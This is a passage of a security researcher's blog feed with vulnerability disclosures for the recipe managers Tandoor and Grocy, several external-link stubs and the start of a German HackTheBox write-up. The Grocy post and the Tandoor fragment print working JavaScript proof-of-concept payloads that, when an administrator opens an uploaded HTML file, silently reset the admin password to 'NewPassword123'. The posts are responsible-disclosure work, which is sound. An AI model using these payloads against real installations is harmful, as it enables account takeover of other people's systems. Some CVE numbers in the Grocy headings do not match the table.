</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">formData</span>.<span style="color:#a6e22e">append</span>(<span style="color:#e6db74">&#39;username&#39;</span>, <span style="color:#e6db74">&#39;admin&#39;</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">formData</span>.<span style="color:#a6e22e">append</span>(<span style="color:#e6db74">&#39;password1&#39;</span>, <span style="color:#e6db74">&#39;NewPassword123&#39;</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">formData</span>.<span style="color:#a6e22e">append</span>(<span style="color:#e6db74">&#39;password2&#39;</span>, <span style="color:#e6db74">&#39;NewPassword123&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">response</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetch</span>(<span style="color:#e6db74">&#39;/admin/auth/user/1/password/&#39;</span>, {
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;POST&#39;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">credentials</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;include&#39;</span>, <span style="color:#75715e">// Include cookies for authentication
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                    <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> {
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#39;Content-Type&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;application/x-www-form-urlencoded&#39;</span>
</span></span><span style="display:flex;"><span>                    },
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">formData</span>.<span style="color:#a6e22e">toString</span>()
</span></span><span style="display:flex;"><span>                });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">response</span>.<span style="color:#a6e22e">ok</span>) {
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">true</span>; <span style="color:#75715e">// Password update was successful
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">throw</span> <span style="color:#66d9ef">new</span> Error(<span style="color:#e6db74">&#39;Failed to update password&#39;</span>);
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">throw</span> <span style="color:#66d9ef">new</span> Error(<span style="color:#e6db74">&#39;Error changing password: &#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">error</span>.<span style="color:#a6e22e">message</span>);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Main function to execute both requests sequentially
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        (<span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">execute</span>() {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// Step 1: Fetch the CSRF token
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">csrfToken</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetchCsrfToken</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// Step 2: Use the CSRF token to update the password
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">result</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">changePassword</span>(<span style="color:#a6e22e">csrfToken</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// Update the page status based on the result
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">result</span>) {
</span></span><span style="display:flex;"><span>                    document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;status&#39;</span>).<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Password updated successfully!&#39;</span>;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#75715e">// Check if the error is due to &#34;not authorized&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">error</span>.<span style="color:#a6e22e">message</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#39;not authorized&#39;</span>) {
</span></span><span style="display:flex;"><span>                    document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;status&#39;</span>).<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;You are not an admin. Send this link to an admin user.&#39;</span>;
</span></span><span style="display:flex;"><span>                } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#75715e">// Display other error messages on the page
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                    document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;status&#39;</span>).<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Error: &#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">error</span>.<span style="color:#a6e22e">message</span>;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        })();
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>The File Upload feature has no restrictions on the files that can be uploaded.</p>
<p><img alt="Tandoor27" src="/media/2025/01/tandoor27.png"></p>
<p>However, the filenames are changed to a random UUIDv4 and the filename is not disclosed immediately. To know the filename of our uploaded file we need to specify the file as <code>Custom Theme</code> or as <code>Logo</code></p>
<p><img alt="Tandoor28" src="/media/2025/01/tandoor28.png"></p>
<p>This way, it is referenced in HTML responses returned by tandoor, revealing its path.</p>
<p><img alt="Tandoor29" src="/media/2025/01/tandoor29.png"></p>
<p>The PoC, if visited, checks whether the user has administrative privileges or not.</p>
<p><img alt="Tandoor30" src="/media/2025/01/tandoor30.png"></p>
<p>If the user has administrative privileges, the password of the admin user is changed to <code>NewPassword123</code></p>
<p><img alt="Tandoor31" src="/media/2025/01/tandoor31.png"></p>
<p>Now we can login as the administrator.</p>
<p><img alt="Tandoor32" src="/media/2025/01/tandoor32.png"></p>
<h2 id="timeline">Timeline</h2>
<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>2024-11-25</td>
<td>Discovered the vulnerabilities</td>
</tr>
<tr>
<td>2024-11-26</td>
<td>Reported the vulnerabilites</td>
</tr>
<tr>
<td>2024-11-26</td>
<td>Maintainer acknowledged the vulnerabilities thankfully</td>
</tr>
<tr>
<td>2024-11-26</td>
<td>Maintainer fixed the critical SSTI vulnerability in version 1.5.24</td>
</tr>
<tr>
<td>2024-11-26</td>
<td>Provided further input on possible countermeasures</td>
</tr>
<tr>
<td>2025-01-17</td>
<td>Reminded the maintainer about the remaining two vulnerabilities</td>
</tr>
<tr>
<td>2025-01-17</td>
<td>Maintainer fixed the remaining two vulnerabilitites in version 1.5.28</td>
</tr>
<tr>
<td>2025-01-17</td>
<td>Maintainer requested CVEs through GitHub Security Advisories</td>
</tr>
<tr>
<td>2025-01-20</td>
<td>CVEs were reserved</td>
</tr>
<tr>
<td>2025-01-28</td>
<td>Security Advisories were published</td>
</tr>
</tbody>
</table>
]]></content></item><item><title>All Your Recipe Are Belong to Us (Part 1/3) - Stored XSS, CSRF and Broken Access Control Vulnerabilities in Grocy</title><link>https://m10x.de/posts/2024/11/all-your-recipe-are-belong-to-us-part-1/3-stored-xss-csrf-and-broken-access-control-vulnerabilities-in-grocy/</link><pubDate>Wed, 27 Nov 2024 04:00:56 +0100</pubDate><guid>https://m10x.de/posts/2024/11/all-your-recipe-are-belong-to-us-part-1/3-stored-xss-csrf-and-broken-access-control-vulnerabilities-in-grocy/</guid><description>I used 4 hours of my free time (not counting the Responsible Disclosure and Blog Posts&amp;hellip;) to &amp;ldquo;speed pentest&amp;rdquo; the three biggest and most popular (measured by Github stars) open-source cooking recipe managers.
This included Grocy, which had &amp;gt;6900 stars at the time of testing. Here I found 3 vulnerabilities. The first one is an Unrestricted File Upload, through which it was possible to upload any files. This included HTML and SVG files to achieve Stored XSS.</description><content type="html"><![CDATA[<p>I used 4 hours of my free time (not counting the Responsible Disclosure and Blog Posts&hellip;) to &ldquo;speed pentest&rdquo; the three biggest and most popular (measured by Github stars) open-source cooking recipe managers.</p>
<p>This included <a href="https://github.com/grocy/grocy">Grocy</a>, which had &gt;6900 stars at the time of testing. Here I found 3 vulnerabilities. The first one is an <em>Unrestricted File Upload</em>, through which it was possible to upload any files. This included HTML and SVG files to achieve <em>Stored XSS</em>. The second one is a <em>CSRF</em> vulnerability, because the session token has no security flags set, as well as no CSRF countermeasure is implemented. The last one is &ldquo;one&rdquo; <em>Broken Access Control</em> vulnerability: For most functions, only the link in the sidebar is disabled for unauthorized users, but a direct call to the URL or API endpoint allows access to data for which you have no permissions.</p>
<h2 id="overview-of-the-vulnerabilities">Overview of the Vulnerabilities</h2>
<table>
<thead>
<tr>
<th>CVE</th>
<th>Name</th>
<th>CVSS Score</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2024-55074">CVE-2024-55074</a></td>
<td>Unrestricted File Upload: Users can upload HTML or SVG files to exploit Stored XSS</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N">8.7 High</a></td>
</tr>
<tr>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2024-55075">CVE-2024-55075</a></td>
<td>CSRF: Change the administrator&rsquo;s password</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N">6.8 Medium</a></td>
</tr>
<tr>
<td><a href="https://www.cve.org/CVERecord?id=CVE-2024-55076">CVE-2024-55076</a></td>
<td>BAC: Users can directly call functions, which they are not authorized for</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N">6.5 Medium</a></td>
</tr>
</tbody>
</table>
<h2 id="remediation">Remediation</h2>
<p>The maintainer stated that they do not care about the vulnerabilities because Grocy is a hobby project and not intended for the use in a sensitive enterprise area. This means that the vulnerabilities probably won&rsquo;t get fixed.</p>
<h2 id="vulnerabilities-in-detail">Vulnerabilities in Detail</h2>
<h3 id="cve-2024-55074-unrestricted-file-upload-users-can-upload-html-or-svg-files-to-exploit-stored-xss-87-high">[CVE-2024-55074] Unrestricted File Upload: Users can upload HTML or SVG files to exploit Stored XSS (8.7 High)</h3>
<p>Users have by default the permission to edit their own profile. There they can upload a profile picture. However it is not validated whether the uploaded file is a benign picture or not. Thus, it is possible to upload malicious HTML or SVG files. As a POC I&rsquo;ve created the following HTML file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1.0&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">title</span>&gt;Update User&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">h1</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;status&#34;</span>&gt;Loading...&lt;/<span style="color:#f92672">h1</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Function to perform the PUT request
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">updateUser</span>() {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;/api/users/1&#39;</span>; <span style="color:#75715e">// Target endpoint
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">payload</span> <span style="color:#f92672">=</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">username</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;admin&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">first_name</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">last_name</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">change_password</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;1&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">password</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;NewPassword123&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">password_confirm</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#34;NewPassword123&#34;</span>
</span></span><span style="display:flex;"><span>            };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">response</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">fetch</span>(<span style="color:#a6e22e">url</span>, {
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">method</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;PUT&#39;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">credentials</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;include&#39;</span>, <span style="color:#75715e">// Include cookies in the request
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                    <span style="color:#a6e22e">headers</span><span style="color:#f92672">:</span> {
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#39;Content-Type&#39;</span><span style="color:#f92672">:</span> <span style="color:#e6db74">&#39;application/json&#39;</span>
</span></span><span style="display:flex;"><span>                    },
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">body</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">JSON</span>.<span style="color:#a6e22e">stringify</span>(<span style="color:#a6e22e">payload</span>) <span style="color:#75715e">// Convert payload to JSON string
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">response</span>.<span style="color:#a6e22e">ok</span>) {
</span></span><span style="display:flex;"><span>                    document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;status&#39;</span>).<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;User updated successfully!&#39;</span>;
</span></span><span style="display:flex;"><span>                } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">errorText</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">response</span>.<span style="color:#a6e22e">text</span>();
</span></span><span style="display:flex;"><span>                    document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;status&#39;</span>).<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Failed to update user: &#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">errorText</span>;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            } <span style="color:#66d9ef">catch</span> (<span style="color:#a6e22e">error</span>) {
</span></span><span style="display:flex;"><span>                document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#39;status&#39;</span>).<span style="color:#a6e22e">textContent</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;Error: &#39;</span> <span style="color:#f92672">+</span> <span style="color:#a6e22e">error</span>.<span style="color:#a6e22e">message</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Execute the request when the page loads
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        (<span style="color:#66d9ef">async</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">execute</span>() {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">await</span> <span style="color:#a6e22e">updateUser</span>();
</span></span><span style="display:flex;"><span>        })();
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>When the file is viewed by an administrator, the JavaScript will issue a request that changes the password of the user with id 1 (by default an administrator) to <code>NewPassword123</code>.
The following screenshot shows the upload function:</p>
<p><img alt="Grocy1" src="/media/2024/11/grocy1.png"></p>
<p>After saving the changes, we can see the URL of the uploaded file</p>
<p><img alt="Grocy2" src="/media/2024/11/grocy2.png"></p>
<p>We need to remove the appended <code>?force_serve_as=picture&amp;best_fit_width=32&amp;best_fit_height=32</code> in order for the file to be executed</p>
<p><img alt="Grocy3" src="/media/2024/11/grocy3.png"></p>
<p>As we do not have administrative rights (YET ;)) we receive an error message. However, if an administrator visits the url, the request is successful</p>
<p><img alt="Grocy4" src="/media/2024/11/grocy4.png"></p>
<p>Now we can login as the administrator <code>admin</code> with the newly set password <code>NewPassword123</code></p>
<p><img alt="Grocy5" src="/media/2024/11/grocy5.png"></p>
<h3 id="cve-2024-45875-csrf-change-the-administrators-password-68-medium">[CVE-2024-45875] CSRF: Change the administrator&rsquo;s password (6.8 Medium)</h3>
<p>The session cookie has no security flags (escpecially SameSite) set</p>
<p><img alt="Grocy6" src="/media/2024/11/grocy6.png"></p>
<p>Further no CSRF countermeasures (such as CSRF-Tokens) are implemented at all, leaving all functions vulnerable to CSRF. E.g. see the following request to change the administrator&rsquo;s password</p>
<p><img alt="Grocy7" src="/media/2024/11/grocy7.png"></p>
<p>The same POC as the previous vulnerability can be used, but instead of the relative URL a absolute URL needs to be specified. If an adminstrative user visits this POC on the attacker&rsquo;s website, the password of the default administrative user will be changed.</p>
<h3 id="cve-2024-55074-broken-access-control-users-can-directly-call-functions-which-they-are-not-authorized-for-65-medium">[CVE-2024-55074] Broken Access Control: Users can directly call functions, which they are not authorized for (6.5 Medium)</h3>
<p>As a starting point, we create a user <code>user</code> with no permissions</p>
<p><img alt="Grocy8" src="/media/2024/11/grocy8.png"></p>
<p>The user is not authorized to access most of the functions of the webapp. The links to those functions are deactivated on the sidebar. However the user is still able to access those functions by requesting their URL directly. e.g. we can request /calendar in order to view the calendar and its entries.</p>
<p><img alt="Grocy9" src="/media/2024/11/grocy9.png"></p>
<p>A further example are the recipes</p>
<p><img alt="Grocy10" src="/media/2024/11/grocy10.png"></p>
<p>This affetcs ALL functions except the user management.</p>
<p>However, it is only possible to view data and not to modify it.</p>
<h2 id="timeline">Timeline</h2>
<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>2024-11-26</td>
<td>Discovered the vulnerabilities</td>
</tr>
<tr>
<td>2024-11-26</td>
<td>Reported the vulnerabilites</td>
</tr>
<tr>
<td>2024-11-26</td>
<td>Maintainer replied that they do <em>NOT</em> want to be bothered with &ldquo;irrelevant&rdquo; security issues and that I may publish my blog post</td>
</tr>
<tr>
<td>2024-11-27</td>
<td>CVEs requested</td>
</tr>
<tr>
<td>2025-01-06</td>
<td>CVEs were assigned</td>
</tr>
</tbody>
</table>
]]></content></item><item><title>(External: cyber.wtf) Harvesting the Database - 5 CVEs in TOPqw Webportal</title><link>https://m10x.de/posts/2024/11/external-cyber.wtf-harvesting-the-database-5-cves-in-topqw-webportal/</link><pubDate>Mon, 11 Nov 2024 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2024/11/external-cyber.wtf-harvesting-the-database-5-cves-in-topqw-webportal/</guid><description>Please visit:
https://cyber.wtf/2024/11/11/topqw-webportal-cves/</description><content type="html"><![CDATA[<p>Please visit:</p>
<p><a href="https://cyber.wtf/2024/11/11/topqw-webportal-cves/">https://cyber.wtf/2024/11/11/topqw-webportal-cves/</a></p>
]]></content></item><item><title>(External: hackmanit.de) Template Injection Vulnerabilities – Understand, Detect, Identify</title><link>https://m10x.de/posts/2024/02/external-hackmanit.de-template-injection-vulnerabilities-understand-detect-identify/</link><pubDate>Wed, 14 Feb 2024 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2024/02/external-hackmanit.de-template-injection-vulnerabilities-understand-detect-identify/</guid><description>Please visit:
https://hackmanit.de/de/blog/178-template-injection-vulnerabilities-understand-detect-identify</description><content type="html"><![CDATA[<p>Please visit:</p>
<p><a href="https://hackmanit.de/de/blog/178-template-injection-vulnerabilities-understand-detect-identify">https://hackmanit.de/de/blog/178-template-injection-vulnerabilities-understand-detect-identify</a></p>
]]></content></item><item><title>(External: hackmanit.de) How Does FIDO2 Try to Solve the World’s Password Problem?</title><link>https://m10x.de/posts/2023/09/external-hackmanit.de-how-does-fido2-try-to-solve-the-worlds-password-problem/</link><pubDate>Mon, 11 Sep 2023 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2023/09/external-hackmanit.de-how-does-fido2-try-to-solve-the-worlds-password-problem/</guid><description>Please visit:
https://hackmanit.de/de/blog/165-what-is-fido2</description><content type="html"><![CDATA[<p>Please visit:</p>
<p><a href="https://hackmanit.de/de/blog/165-what-is-fido2">https://hackmanit.de/de/blog/165-what-is-fido2</a></p>
]]></content></item><item><title>(External: hackmanit.de) The New OWASP Top 10 API Security Risks 2023 – What Has Changed?</title><link>https://m10x.de/posts/2023/08/external-hackmanit.de-the-new-owasp-top-10-api-security-risks-2023-what-has-changed/</link><pubDate>Tue, 01 Aug 2023 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2023/08/external-hackmanit.de-the-new-owasp-top-10-api-security-risks-2023-what-has-changed/</guid><description>Please visit:
https://hackmanit.de/de/blog/169-owasp-api-2023</description><content type="html"><![CDATA[<p>Please visit:</p>
<p><a href="https://hackmanit.de/de/blog/169-owasp-api-2023">https://hackmanit.de/de/blog/169-owasp-api-2023</a></p>
]]></content></item><item><title>(External: hackmanit.de) Multi-Factor Authentication (MFA) – Comparison of the 5 Most Used Possession Factors</title><link>https://m10x.de/posts/2023/03/external-hackmanit.de-multi-factor-authentication-mfa-comparison-of-the-5-most-used-possession-factors/</link><pubDate>Wed, 22 Mar 2023 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2023/03/external-hackmanit.de-multi-factor-authentication-mfa-comparison-of-the-5-most-used-possession-factors/</guid><description>Please visit:
https://hackmanit.de/de/blog/162-what-is-mfa</description><content type="html"><![CDATA[<p>Please visit:</p>
<p><a href="https://hackmanit.de/de/blog/162-what-is-mfa">https://hackmanit.de/de/blog/162-what-is-mfa</a></p>
]]></content></item><item><title>(External: hackmanit.de) BOLA - The #1 most critical API risk exemplified</title><link>https://m10x.de/posts/2022/09/external-hackmanit.de-bola-the-%231-most-critical-api-risk-exemplified/</link><pubDate>Wed, 21 Sep 2022 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2022/09/external-hackmanit.de-bola-the-%231-most-critical-api-risk-exemplified/</guid><description>Please visit:
https://hackmanit.de/de/blog/156-bola-api-risk</description><content type="html"><![CDATA[<p>Please visit:</p>
<p><a href="https://hackmanit.de/de/blog/156-bola-api-risk">https://hackmanit.de/de/blog/156-bola-api-risk</a></p>
]]></content></item><item><title>(External: hackmanit.de) How to Secure APIs?</title><link>https://m10x.de/posts/2022/07/external-hackmanit.de-how-to-secure-apis/</link><pubDate>Mon, 11 Jul 2022 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2022/07/external-hackmanit.de-how-to-secure-apis/</guid><description>Please visit:
https://hackmanit.de/de/blog/155-how-to-secure-apis</description><content type="html"><![CDATA[<p>Please visit:</p>
<p><a href="https://hackmanit.de/de/blog/155-how-to-secure-apis">https://hackmanit.de/de/blog/155-how-to-secure-apis</a></p>
]]></content></item><item><title>(External: hackmanit.de) Web Cache Vulnerability Scanner (WCVS) - Free, Customizable, Easy-To-Use</title><link>https://m10x.de/posts/2021/10/external-hackmanit.de-web-cache-vulnerability-scanner-wcvs-free-customizable-easy-to-use/</link><pubDate>Wed, 27 Oct 2021 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2021/10/external-hackmanit.de-web-cache-vulnerability-scanner-wcvs-free-customizable-easy-to-use/</guid><description>Please visit:
https://hackmanit.de/de/blog/145-web-cache-vulnerability-scanner-wcvs-free-customizable-easy-to-use</description><content type="html"><![CDATA[<p>Please visit:</p>
<p><a href="https://hackmanit.de/de/blog/145-web-cache-vulnerability-scanner-wcvs-free-customizable-easy-to-use">https://hackmanit.de/de/blog/145-web-cache-vulnerability-scanner-wcvs-free-customizable-easy-to-use</a></p>
]]></content></item><item><title>(External: hackmanit.de) Is Your Application Vulnerable to Web Cache Poisoning?</title><link>https://m10x.de/posts/2021/04/external-hackmanit.de-is-your-application-vulnerable-to-web-cache-poisoning/</link><pubDate>Tue, 20 Apr 2021 01:01:56 +0100</pubDate><guid>https://m10x.de/posts/2021/04/external-hackmanit.de-is-your-application-vulnerable-to-web-cache-poisoning/</guid><description>Please visit:
https://hackmanit.de/de/blog/142-is-your-application-vulnerable-to-web-cache-poisoning</description><content type="html"><![CDATA[<p>Please visit:</p>
<p><a href="https://hackmanit.de/de/blog/142-is-your-application-vulnerable-to-web-cache-poisoning">https://hackmanit.de/de/blog/142-is-your-application-vulnerable-to-web-cache-poisoning</a></p>
]]></content></item><item><title>HackTheBox - Kotarak WriteUp | Tipps + Anleitung</title><link>https://m10x.de/posts/2018/12/hackthebox-kotarak-writeup-tipps--anleitung/</link><pubDate>Wed, 05 Dec 2018 16:00:56 +0100</pubDate><guid>https://m10x.de/posts/2018/12/hackthebox-kotarak-writeup-tipps--anleitung/</guid><description>Kotarak ist eine der sehr schwierigen CTF Challenges von HackTheBox.
Tipps Wir müssen auf eine Webseite zugreifen, auf welche wir keinen Zugriff von außen haben, allerdings von einer anderen Webseite aus!
Ein Teil von Kotarak wird auch in der HackTheBox Maschine Jerry behandelt, allerdings brauchen wir erstmal das Tomcat Admin Passwort
Alle wichtigen Informationen zur Privilege Escalation befinden sich im /root Verzeichnis
Video Anleitung Als erstes machen wir natürlich einen Nmap-Scan.</description><content type="html"><![CDATA[<p><a href="https://www.hackthebox.eu/home/machines/profile/101">Kotarak</a> ist eine der sehr schwierigen CTF Challenges von <a href="https://hackthebox.eu/">HackTheBox</a>.</p>
<p><img alt="schwierigkeit" src="https://imgur.com/yHS2bzB.jpg"></p>
<h2 id="tipps"><strong>Tipps</strong></h2>
<p>Wir müssen auf eine Webseite zugreifen, auf welche wir keinen Zugriff von außen haben, allerdings von einer anderen Webseite aus!</p>
<p>Ein Teil von Kotarak wird auch in der HackTheBox Maschine <a href="https://www.m10x.de/ctf-wargame/hackthebox-jerry/">Jerry</a> behandelt, allerdings brauchen wir erstmal das Tomcat Admin Passwort</p>
